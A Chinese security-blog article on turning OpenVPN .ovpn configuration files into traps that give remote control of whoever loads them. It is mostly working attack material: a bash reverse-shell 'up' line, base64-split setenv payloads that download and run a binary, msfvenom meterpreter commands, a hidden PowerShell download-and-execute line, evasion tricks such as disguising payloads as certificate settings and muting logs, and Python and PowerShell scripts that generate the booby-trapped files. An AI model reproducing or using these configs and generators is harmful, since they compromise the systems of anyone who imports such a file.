安全技術|利用OpenVpn配置檔案反制的武器化探索
OpenVPN是企業常用的資料傳輸工具,然而使用不信任的ovpn檔案是十分危險的,一旦被惡意利用可能會導致企業的資料資訊洩露。本文由錦行科技的安全研究團隊提供(作者:t43M!ne),介紹了攻擊者是如何對OpenVPN的配置檔案進行修改,構建出可連線到遠端控制端的反制模組,從而實現對OpenVPN使用者系統的控制管理,深入探討“反制”行為。
簡述
無意中看到一篇18年的老文,作者描述了一種利用OVPN檔案(即OpenVpn的配置檔案)建立一個反彈Shell的操作。核心在於官方宣告的up命令,該命令常用於啟用TUN後的指定路由。本質上相當於起了一個程式執行指向的任意指令碼。
作者給出了linux下的POC
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&'"
並且探索了win上利用powershell彈shell的配置可行性
透過環境變數繞過up命令長度只能低於256的限制
想要利用這樣一個明顯帶有惡意命令的配置檔案來反制具備安全意識的攻擊者是比較難
最佳化
+ Ubuntu20 (自帶Openvpn)
+ win10 (OpenVpn Gui 2.4.9)
[https://openvpn-gui.en.lo4d.com/windows]
01 Linux
首先是Linux平臺,測試可以直接用自帶的openvpn載入配置
openvpn -config evil.config
既然win上可以用環境變數分割payload,顯然linux上也可以這樣做
仿造botnet常用手段,將一條下載木馬並執行的命令base64編碼一下
# this is the part of the config file
setenv a1 "Y3VybCBodHRwOi8vMTI3Lj"
setenv a2 "AuMC4xL2EgLXMgLW8gL3Rt"
setenv a3 "cC9hICYmIGNobW9kICt4IC"
setenv a4 "90bXAvYSAmJiAvdG1wL2E="
up "/bin/bash -c 'echo $a1$a2$a3$a4|base64 -d|bash'"
# it will execute this command totaly
curl http://127.0.0.1/a -s -o /tmp/a && chmod +x /tmp/a && /tmp/a
但執行`/bin/bash`的特徵沒別的好辦法去掉, 翻了一下官方樣例配置檔案,然後往裡邊新增了100多行配置程式碼和註釋,並且混淆了切割的payload變數名,偽裝成與證照相關的操作
# generate
msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf
# host the launcher pe
python3 -m http.server 80
# start to listen
msfconsole -r linux_listen.rc
msf正常上線, 此處應有圖, 但並沒有。
02 Win
本以為win的比較好做,畢竟原文已經給出了呼叫powershell的poc了,但...先看看原文的呼叫
up 'C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||'
用的是三無作坊的ps指令碼,命令太長了20多個變數才切割完,祭出msf
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f psh-reflection -o a.ps1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f psh -o a.ps1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f psh-net -o a.ps1
先後嘗試了三種格式的,都不太穩定...只有初始包, meterpreter背鍋
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64
最後拿原始payload自己替換到cs的powershell模板中,將模板的異或解密去掉
python3 -m http.server 80
# start to listen
msfconsole -r win_listen.rc
載入時就只需要執行這一串就可以了
iex(New-Object Net.WebClient).DownloadString('http://127.0.0.1/a.ps1');a.ps1
這樣就成功將命令縮短到4段,再簡化一下引數,
將引數的指定方式`-`替換為`/`作下基本免殺,不然實在看不下眼了
setenv k0 xxx
setenv k1 xxx
setenv k2 xxx
setenv k3 xxx
up 'C:\\Windows\\System32\\cmd.exe /c "(start powershell /w hidden /enc %k0%%k1%%k2%%k3%)"'
先拿去試了一試,可以成功執行,但hidden引數並不起作用,powershell的視窗一閃而過
直接在cmd終端甚至webshell下透過cmd /c 呼叫的powershell時加上hidden引數是不應該有任何閃窗的
然後意識到這裡用了start來啟一個程式,這與以下的命令雖然像,但效果可不同, 果然是呼叫方式問題
cmd.exe /c powershell /w hidden /enc %k0%%k1%%k2%%k3%
嘗試將start去掉,這下好了?不, 這下崩了,雖然官方文件中說明了能使用單引號和雙引號,反引號註明傳遞引數
單在win上的gui中某些特定情況下,並沒有將整串powershell命令當作引數導致解析失敗
而用start的方式呼叫會有閃窗..在一番亂查之後發現cmd還有一個`/b`引數可以解決這個萬惡的閃窗
詳細檢視了一下錯誤日誌,因為執行這一串命令後,返回的值跟openvpn預料的不符
所以openvpn認為這是執行失敗了,所以把程式kill掉,並中斷一切操作...
那就給它加個管道把輸出丟了吧
up 'C:\\Windows\\System32\\cmd.exe /c "(start /min /b powershell /w hidden /enc encoded_shellcode)|cmd"'
但這樣還是太長了很顯眼,既然是cmd然後再呼叫的powershell,我們其實有兩次解析環境變數的機會,因此可以再巢狀一層變數
setenv kk 'start /min /b powershell /w hidden /enc %k0%%k1%%k2%%k3%'
up 'C:\\Windows\\System32\\cmd.exe /c "(%kk%)|cmd"'
當然不要忘了把日誌等級設定一下,不然debug資訊就把命令輸出到log了
# Set log file verbosity.
verb 0
最終利用
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64
# 替換到powershell模板裡,然後python3 -m http.server 80
# 將下載的url轉為base64, 切割成四段, 隱藏到配置檔案中...
全手動啊?好麻煩啊, 這也叫武器化?
武器化
生成指令碼它這就來
01 Linux
linux平臺配置檔案生成指令碼
import base64
import random
import argparse
template = '''太長就不放了'''
def handle_tempalte(p1,p2,p3,p4):
return template.format(first='setenv resolv "{}"'.format(p1),
second='setenv key "{}"'.format(p2),
thrid='setenv client_key "{}"'.format(p3),
def encode_payload(url):
file_str = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',4))
returnstr(base64.b64encode(bytes("curl {url} -s -o /tmp/{file_str} && chmod +x /tmp/{file_str} && /tmp/{file_str}".format(url=url, file_str=file_str),encoding="utf-8"))).strip("b'")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("url", help="the url where to download your cat")
args = parser.parse_args()
evil_code = encode_payload(args.url)
print("[+] evil_code: {}".format(evil_code))
flag = int(len(evil_code)/4)
file_content = handle_tempalte(evil_code[:flag], evil_code[flag:2*flag], evil_code[2*flag:3*flag],evil_code[3*flag:])
with open("evil.config", "w") as f:
f.write(file_content)
print('[*] Done! Maybe you should: msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf')
02 Win
powershell中/enc引數所需的base64編碼是unicode的....無奈只能拿powershell寫了
Set-StrictMode -Version 2
$powershell_template = @'太長就不放了'@
$tempalte = @'太長就不放了'@
function handle_tempalte {
Param ($first, $second, $thrid, $fourth)
$tempalte = $tempalte.Replace('{first}',$first)
$tempalte = $tempalte.Replace('{second}',$second)
$tempalte = $tempalte.Replace('{thrid}',$thrid)
return $tempalte.Replace('{fourth}',$fourth)
}
function handle_pstempalte {
Param ($shellcode)
return $powershell_template.Replace('%DATA%',$shellcode)
}
$url = Read-Host "Please enter your download url, Ex: http://192.168.114.165/a.ps1 :"
$file = Read-Host "Please enter your script name, Ex: a.ps1 :"
$raw_payload = "iex(New-Object Net.WebClient).DownloadString('{url}');{file}".Replace('{url}',$url).Replace('{file}',$file)
Write-Host $raw_payload
$b64_payload = [convert]::tobase64string([system.text.encoding]::unicode.getbytes($raw_payload))
# split payload
$flag = $b64_payload.length/4
$evil_ovpn = handle_tempalte $b64_payload.Substring(0,55).Insert(0,"setenv k0 ") $b64_payload.Substring($flag,$flag).Insert(0,"setenv k1 ") $b64_payload.Substring($flag*2,$flag).Insert(0,"setenv k2 ") $b64_payload.Substring($flag*3,$flag).Insert(0,"setenv k3 ")
Out-File -FilePath .\evil.ovpn -InputObject $evil_ovpn -Encoding utf8
Write-Host "generate shellcode command: msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64"
$shellcode = Read-Host "Please enter your shellcode :"
$evil_ps = handle_pstempalte $shellcode
Out-File -FilePath .\evil.ps1 -InputObject $evil_ps -Encoding utf8
Usage
01 Linux
msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf
python3 generate_linux.py http://192.168.114.165/a
# host the launcher pe
python3 -m http.server 80
# start to listen
msfconsole -r linux_listen.rc
# attacker use the evil config file
sudo openvpn --config evil.ovpn
02 Win
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64
powershell -ep bypass -f generate_win.ps1
> Please enter your download url, Ex: http://192.168.114.165/a.ps1 :: http://192.168.114.165/a.ps1
> Please enter your script name, Ex: a.ps1 :: a.ps1
> iex(New-Object Net.WebClient).DownloadString('http://192.168.114.165/a.ps1');a.ps1
> generate shellcode command: msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64
> Please enter your shellcode :: shellcode
> [*] Done! Host your evil.ps1 by 'python3 -m http.server 80' on your vps
> [+] please look at evil.ovpn, and show me your SET skill
# host the launcher pe
python3 -m http.server 80
# start to listen
msfconsole -r win_listen.rc
References
文章:Reverse Shell from an OpenVPN Configuration File
連結地址:https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da
相關文章
- Square 技術團隊的 Vim 配置檔案已開源2013-08-30
- OpenVPN安裝配置2012-12-06
- 技術討論 | 如何利用Microsoft Edge漏洞獲取本地檔案?2018-09-07ROS
- 學習ASM技術(七)--ASM檔案轉化2010-03-16ASM
- ssh配置檔案安全設定2024-08-19
- 基於序列化技術(Protobuf)的socket檔案傳輸2014-07-03
- 探索網路安全:淺析檔案上傳漏洞2024-07-22
- 硬核虛擬化技術 SR-IOV的原理及探索2019-03-18
- .NET配置檔案的10大安全漏洞2010-03-07
- 【Java技術專題】「效能優化系列」針對Java物件壓縮及序列化技術的探索之路2021-10-19Java優化物件
- Spring Boot乾貨系列:(二)配置檔案解析 | 掘金技術徵文2019-02-24Spring Boot
- 騰訊董志強:基建、研發、安全——雲安全前沿技術探索和實踐2021-11-04
- 達觀AI+知識圖譜技術在數字檔案館建設中的探索2022-01-14AI
- 探索新技術機制2024-03-29
- TGDC | 探索人臉藝術背後的技術2020-12-22
- Apache Spark技術實戰之4 -- 利用Spark將json檔案匯入Cassandra2014-09-06ApacheSparkJSON
- 利用perl提取web配置檔案中的域名對應的路徑2017-11-17Web
- 利用VIEW的TRIGGER技術來簡化FORM的開發2007-12-21ViewORM
- Mysql資料庫優化配置檔案my.ini檔案配置解釋2017-05-22MySql資料庫優化
- SpringBoot學習筆記 - 構建、簡化原理、快速啟動、配置檔案與多環境配置、技術整合案例2023-02-02Spring Boot筆記
- 站在巨人的肩上,利用開源專案提高你的技術水平2017-12-26
- 選擇實用安全的企業檔案透明加密軟體?公司技術檔案保密軟體,河南風奧科技2020-12-25加密
- RN 技術探索:Hermes Engine 初探2022-12-06
- 基於口罩識別模型,探索機器學習自動化的技術應用2020-05-14模型機器學習
- 圖技術在美團外賣下的場景化應用及探索2022-11-24
- 探索跨海大橋新境界:3D視覺化技術的魔力2024-03-283D視覺化
- TabNine 利用機器學習技術來補全專案程式碼2020-06-30機器學習
- 【阿里聚安全·安全週刊】阿里雙11技術十二講直播預約|AWS S3配置錯誤曝光NSA陸軍機密檔案2017-12-04阿里S3
- Flutter UI自動化測試技術方案選型與探索2021-06-03FlutterUI
- 商家視覺化埋點探索和實踐|得物技術2024-03-07視覺化
- apache 配置檔案的配置(轉)2007-08-16Apache
- Spring中利用配置檔案和@value注入屬性值2017-12-27Spring
- ssm的配置檔案2024-06-30SSM
- 好些天沒寫jsp了……完善了一下計數器(利用檔案技術)2005-02-13JS
- AI換臉:潘多拉魔盒已開,技術一旦作惡該如何反制2019-10-21AI
- 【技術貼】有史以來最好的序擬主機安全配置2010-08-08
- 得物技術埋點自動化驗證的探索和最佳實踐2022-06-13
- 利用HTTP host頭攻擊的技術2020-08-19HTTP